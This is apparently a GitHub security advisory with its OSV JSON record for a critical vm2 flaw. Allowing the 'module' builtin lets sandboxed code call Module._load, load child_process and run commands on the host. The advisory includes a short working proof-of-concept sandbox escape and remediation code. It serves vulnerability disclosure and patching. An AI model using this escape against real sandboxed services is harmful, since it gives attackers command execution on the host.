GHSA-947F-4V7F-X2V8
Vulnerability from github – Published: 2026-05-07 04:08 – Updated: 2026-05-14 20:36Summary
NodeVM's builtin allowlist can be bypassed when the module builtin is allowed (including via the '*' wildcard). The module builtin exposes Node's Module._load(), which loads any module by name directly in the host context, completely bypassing vm2's builtin restriction. This allows sandboxed code to load excluded builtins like child_process and achieve remote code execution.
Severity
Critical (CVSS 3.1: 9.9)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack Vector: Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)
- Attack Complexity: Low — no special conditions required;
['*', '-child_process']is a common, documented pattern - Privileges Required: Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case
- User Interaction: None
- Scope: Changed — escape from sandbox boundary to host system
- Confidentiality Impact: High — arbitrary command execution on the host
- Integrity Impact: High — arbitrary command execution on the host
- Availability Impact: High — arbitrary command execution on the host
Affected Component
lib/builtin.js—makeBuiltinsFromLegacyOptions()(lines 109-117) — includesmodulein'*'expansionlib/builtin.js—addDefaultBuiltin()(lines 86-90) — loadsmodulewith generic readonly wrapperlib/builtin.js—SPECIAL_MODULES(line 61) — does NOT includemodule
CWE
- CWE-863: Incorrect Authorization
Description
Root Cause: The module builtin provides unrestricted host module loading
When builtin: ['*', '-child_process'] is configured, makeBuiltinsFromLegacyOptions iterates over BUILTIN_MODULES and adds all modules not explicitly excluded:
// lib/builtin.js:40
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s=>!s.startsWith('internal/'));
// lib/builtin.js:109-117
if (Array.isArray(builtins)) {
const def = builtins.indexOf('*') >= 0;
if (def) {
for (let i = 0; i < BUILTIN_MODULES.length; i++) {
const name = BUILTIN_MODULES[i];
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
}
}
Node's builtinModules includes 'module' (verified: require('module').builtinModules.includes('module') → true). Since only '-child_process' is excluded, 'module' passes the filter and gets added.
The module builtin is NOT in SPECIAL_MODULES (which only covers events, buffer, util), so it gets the generic loader:
// lib/builtin.js:86-90
function addDefaultBuiltin(builtins, key, hostRequire) {
if (builtins.has(key)) return;
const special = SPECIAL_MODULES[key];
builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
}
This wraps Node's Module class in a readonly proxy and hands it to the sandbox.
The readonly proxy does not prevent method calls
ReadOnlyHandler (bridge.js:940-983) only overrides mutation traps: set, setPrototypeOf, defineProperty, deleteProperty, isExtensible, preventExtensions. It does NOT override get or apply, which are inherited from BaseHandler.
BaseHandler.apply() (bridge.js:665-677) forwards function calls directly to the host context:
apply(target, context, args) {
const object = getHandlerObject(this);
let ret;
try {
context = otherFromThis(context);
args = otherFromThisArguments(args);
ret = otherReflectApply(object, context, args);
} catch (e) {
throw thisFromOtherForThrow(e);
}
return thisFromOther(ret);
}
So Module._load('child_process') is forwarded to Node's native Module._load in the host context, which loads child_process without any vm2 allowlist check.
Inconsistent defense: some builtins are isolated, module is not
The codebase IS aware that certain builtins need special handling:
events: Gets a complete sandbox-native reimplementation vialib/events.jsbuffer: Custom loader that only exposes theBufferclassutil: Custom loader that replacesinheritswith a sandbox-safe version
But module — which provides access to the host's entire module loading infrastructure via Module._load, Module._resolveFilename, etc. — gets no special treatment at all.
Full execution chain
- Host configures
NodeVMwithbuiltin: ['*', '-child_process'] makeBuiltinsFromLegacyOptionsadds'module'to allowed builtins (not excluded)- Sandbox code calls
require('module')→ resolver finds'module'in builtins →loadBuiltinModule('module') - Loader calls
vm.readonly(hostRequire('module'))→ returns readonly proxy of Node'sModuleclass - Sandbox reads
Module._load→BaseHandler.get()returns proxied function - Sandbox calls
Module._load('child_process')→BaseHandler.apply()forwards to host - Host's
Module._loadloadschild_processnatively (no vm2 check involved) child_processmodule proxied back to sandbox- Sandbox calls
child_process.execSync('id')→ executes on host → RCE
Proof of Concept
const { NodeVM } = require('vm2');
// Developer thinks child_process is blocked
const vm = new NodeVM({
require: {
builtin: ['*', '-child_process'],
external: false,
},
});
const out = vm.run(`
const Module = require('module');
// Module._load bypasses vm2's builtin allowlist entirely
const cp = Module._load('child_process');
module.exports = cp.execSync('id').toString();
`, 'poc.js');
console.log(out.trim()); // prints host uid/gid — RCE achieved
Impact
- Complete builtin allowlist bypass: Any configuration that allows the
modulebuiltin (including['*', '-X']patterns) can load ANY builtin, including explicitly excluded ones. - Remote code execution: Sandboxed code can execute arbitrary commands on the host via
child_process.execSync. - Common configuration affected: The
['*', '-child_process', '-fs']pattern is documented and widely used by developers who want "all builtins except dangerous ones." - No special conditions: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the
'*'wildcard. - Additional attack surfaces via
module: Beyond_load, theModuleclass also exposes_resolveFilename,_cache,_pathCache, and other internals that could be abused.
Recommended Remediation
Option 1: Exclude module from BUILTIN_MODULES entirely (Preferred)
The module builtin provides unrestricted host module loading and should never be exposed to the sandbox:
// lib/builtin.js:40
const DANGEROUS_BUILTINS = new Set(['module', 'worker_threads', 'cluster']);
const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
.filter(s => !s.startsWith('internal/') && !DANGEROUS_BUILTINS.has(s));
This prevents module from being included even with the '*' wildcard. Consider also blocking worker_threads and cluster which can spawn processes.
Option 2: Add module to SPECIAL_MODULES with a safe wrapper
If module must be accessible, provide a sandbox-safe version that only exposes safe APIs:
// lib/builtin.js
const SPECIAL_MODULES = {
events: { /* ... existing ... */ },
buffer: defaultBuiltinLoaderBuffer,
util: defaultBuiltinLoaderUtil,
module: function defaultBuiltinLoaderModule(vm) {
// Only expose safe, read-only metadata — no _load, no _resolveFilename
return vm.readonly({
builtinModules: [...nmod.builtinModules],
// Omit _load, _resolveFilename, _cache, createRequire, etc.
});
}
};
Tradeoff: Breaks sandbox code that legitimately uses Module APIs, but those APIs are inherently unsafe in a sandbox context.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.5"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.10.5"
]
}
],
"aliases": [
"CVE-2026-43999"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T04:08:55Z",
"nvd_published_at": "2026-05-13T18:16:16Z",
"severity": "CRITICAL"
},
"details": "## Summary\nNodeVM\u0027s `builtin` allowlist can be bypassed when the `module` builtin is allowed (including via the `\u0027*\u0027` wildcard). The `module` builtin exposes Node\u0027s `Module._load()`, which loads any module by name directly in the host context, completely bypassing vm2\u0027s builtin restriction. This allows sandboxed code to load excluded builtins like `child_process` and achieve remote code execution.\n\n## Severity\n**Critical** (CVSS 3.1: 9.9)\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network \u2014 sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** Low \u2014 no special conditions required; `[\u0027*\u0027, \u0027-child_process\u0027]` is a common, documented pattern\n- **Privileges Required:** Low \u2014 attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed \u2014 escape from sandbox boundary to host system\n- **Confidentiality Impact:** High \u2014 arbitrary command execution on the host\n- **Integrity Impact:** High \u2014 arbitrary command execution on the host\n- **Availability Impact:** High \u2014 arbitrary command execution on the host\n\n## Affected Component\n- `lib/builtin.js` \u2014 `makeBuiltinsFromLegacyOptions()` (lines 109-117) \u2014 includes `module` in `\u0027*\u0027` expansion\n- `lib/builtin.js` \u2014 `addDefaultBuiltin()` (lines 86-90) \u2014 loads `module` with generic readonly wrapper\n- `lib/builtin.js` \u2014 `SPECIAL_MODULES` (line 61) \u2014 does NOT include `module`\n\n## CWE\n- **CWE-863**: Incorrect Authorization\n\n## Description\n\n### Root Cause: The `module` builtin provides unrestricted host module loading\n\nWhen `builtin: [\u0027*\u0027, \u0027-child_process\u0027]` is configured, `makeBuiltinsFromLegacyOptions` iterates over `BUILTIN_MODULES` and adds all modules not explicitly excluded:\n\n```js\n// lib/builtin.js:40\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding(\u0027natives\u0027)))\n .filter(s=\u003e!s.startsWith(\u0027internal/\u0027));\n\n// lib/builtin.js:109-117\nif (Array.isArray(builtins)) {\n const def = builtins.indexOf(\u0027*\u0027) \u003e= 0;\n if (def) {\n for (let i = 0; i \u003c BUILTIN_MODULES.length; i++) {\n const name = BUILTIN_MODULES[i];\n if (builtins.indexOf(`-${name}`) === -1) {\n addDefaultBuiltin(res, name, hostRequire);\n }\n }\n }\n```\n\nNode\u0027s `builtinModules` includes `\u0027module\u0027` (verified: `require(\u0027module\u0027).builtinModules.includes(\u0027module\u0027)` \u2192 `true`). Since only `\u0027-child_process\u0027` is excluded, `\u0027module\u0027` passes the filter and gets added.\n\nThe `module` builtin is NOT in `SPECIAL_MODULES` (which only covers `events`, `buffer`, `util`), so it gets the generic loader:\n\n```js\n// lib/builtin.js:86-90\nfunction addDefaultBuiltin(builtins, key, hostRequire) {\n if (builtins.has(key)) return;\n const special = SPECIAL_MODULES[key];\n builtins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n}\n```\n\nThis wraps Node\u0027s `Module` class in a readonly proxy and hands it to the sandbox.\n\n### The readonly proxy does not prevent method calls\n\n`ReadOnlyHandler` (bridge.js:940-983) only overrides mutation traps: `set`, `setPrototypeOf`, `defineProperty`, `deleteProperty`, `isExtensible`, `preventExtensions`. It does NOT override `get` or `apply`, which are inherited from `BaseHandler`.\n\n`BaseHandler.apply()` (bridge.js:665-677) forwards function calls directly to the host context:\n\n```js\napply(target, context, args) {\n const object = getHandlerObject(this);\n let ret;\n try {\n context = otherFromThis(context);\n args = otherFromThisArguments(args);\n ret = otherReflectApply(object, context, args);\n } catch (e) {\n throw thisFromOtherForThrow(e);\n }\n return thisFromOther(ret);\n}\n```\n\nSo `Module._load(\u0027child_process\u0027)` is forwarded to Node\u0027s native `Module._load` in the host context, which loads `child_process` without any vm2 allowlist check.\n\n### Inconsistent defense: some builtins are isolated, `module` is not\n\nThe codebase IS aware that certain builtins need special handling:\n\n- `events`: Gets a complete sandbox-native reimplementation via `lib/events.js`\n- `buffer`: Custom loader that only exposes the `Buffer` class\n- `util`: Custom loader that replaces `inherits` with a sandbox-safe version\n\nBut `module` \u2014 which provides access to the host\u0027s entire module loading infrastructure via `Module._load`, `Module._resolveFilename`, etc. \u2014 gets no special treatment at all.\n\n### Full execution chain\n\n1. Host configures `NodeVM` with `builtin: [\u0027*\u0027, \u0027-child_process\u0027]`\n2. `makeBuiltinsFromLegacyOptions` adds `\u0027module\u0027` to allowed builtins (not excluded)\n3. Sandbox code calls `require(\u0027module\u0027)` \u2192 resolver finds `\u0027module\u0027` in builtins \u2192 `loadBuiltinModule(\u0027module\u0027)`\n4. Loader calls `vm.readonly(hostRequire(\u0027module\u0027))` \u2192 returns readonly proxy of Node\u0027s `Module` class\n5. Sandbox reads `Module._load` \u2192 `BaseHandler.get()` returns proxied function\n6. Sandbox calls `Module._load(\u0027child_process\u0027)` \u2192 `BaseHandler.apply()` forwards to host\n7. Host\u0027s `Module._load` loads `child_process` natively (no vm2 check involved)\n8. `child_process` module proxied back to sandbox\n9. Sandbox calls `child_process.execSync(\u0027id\u0027)` \u2192 executes on host \u2192 RCE\n\n## Proof of Concept\n\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// Developer thinks child_process is blocked\nconst vm = new NodeVM({\n require: {\n builtin: [\u0027*\u0027, \u0027-child_process\u0027],\n external: false,\n },\n});\n\nconst out = vm.run(`\n const Module = require(\u0027module\u0027);\n // Module._load bypasses vm2\u0027s builtin allowlist entirely\n const cp = Module._load(\u0027child_process\u0027);\n module.exports = cp.execSync(\u0027id\u0027).toString();\n`, \u0027poc.js\u0027);\n\nconsole.log(out.trim()); // prints host uid/gid \u2014 RCE achieved\n```\n\n## Impact\n- **Complete builtin allowlist bypass**: Any configuration that allows the `module` builtin (including `[\u0027*\u0027, \u0027-X\u0027]` patterns) can load ANY builtin, including explicitly excluded ones.\n- **Remote code execution**: Sandboxed code can execute arbitrary commands on the host via `child_process.execSync`.\n- **Common configuration affected**: The `[\u0027*\u0027, \u0027-child_process\u0027, \u0027-fs\u0027]` pattern is documented and widely used by developers who want \"all builtins except dangerous ones.\"\n- **No special conditions**: Unlike environment-dependent attacks, this works on every Node.js version, every OS, and every vm2 deployment that uses the `\u0027*\u0027` wildcard.\n- **Additional attack surfaces via `module`**: Beyond `_load`, the `Module` class also exposes `_resolveFilename`, `_cache`, `_pathCache`, and other internals that could be abused.\n\n## Recommended Remediation\n\n### Option 1: Exclude `module` from `BUILTIN_MODULES` entirely (Preferred)\n\nThe `module` builtin provides unrestricted host module loading and should never be exposed to the sandbox:\n\n```js\n// lib/builtin.js:40\nconst DANGEROUS_BUILTINS = new Set([\u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027]);\n\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding(\u0027natives\u0027)))\n .filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !DANGEROUS_BUILTINS.has(s));\n```\n\nThis prevents `module` from being included even with the `\u0027*\u0027` wildcard. Consider also blocking `worker_threads` and `cluster` which can spawn processes.\n\n### Option 2: Add `module` to `SPECIAL_MODULES` with a safe wrapper\n\nIf `module` must be accessible, provide a sandbox-safe version that only exposes safe APIs:\n\n```js\n// lib/builtin.js\nconst SPECIAL_MODULES = {\n events: { /* ... existing ... */ },\n buffer: defaultBuiltinLoaderBuffer,\n util: defaultBuiltinLoaderUtil,\n module: function defaultBuiltinLoaderModule(vm) {\n // Only expose safe, read-only metadata \u2014 no _load, no _resolveFilename\n return vm.readonly({\n builtinModules: [...nmod.builtinModules],\n // Omit _load, _resolveFilename, _cache, createRequire, etc.\n });\n }\n};\n```\n\n**Tradeoff**: Breaks sandbox code that legitimately uses `Module` APIs, but those APIs are inherently unsafe in a sandbox context.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-947f-4v7f-x2v8",
"modified": "2026-05-14T20:36:36Z",
"published": "2026-05-07T04:08:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-947f-4v7f-x2v8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43999"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 has a NodeVM builtin allowlist bypass via `module` builtin\u0027s `Module._load` that allows sandbox escape"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.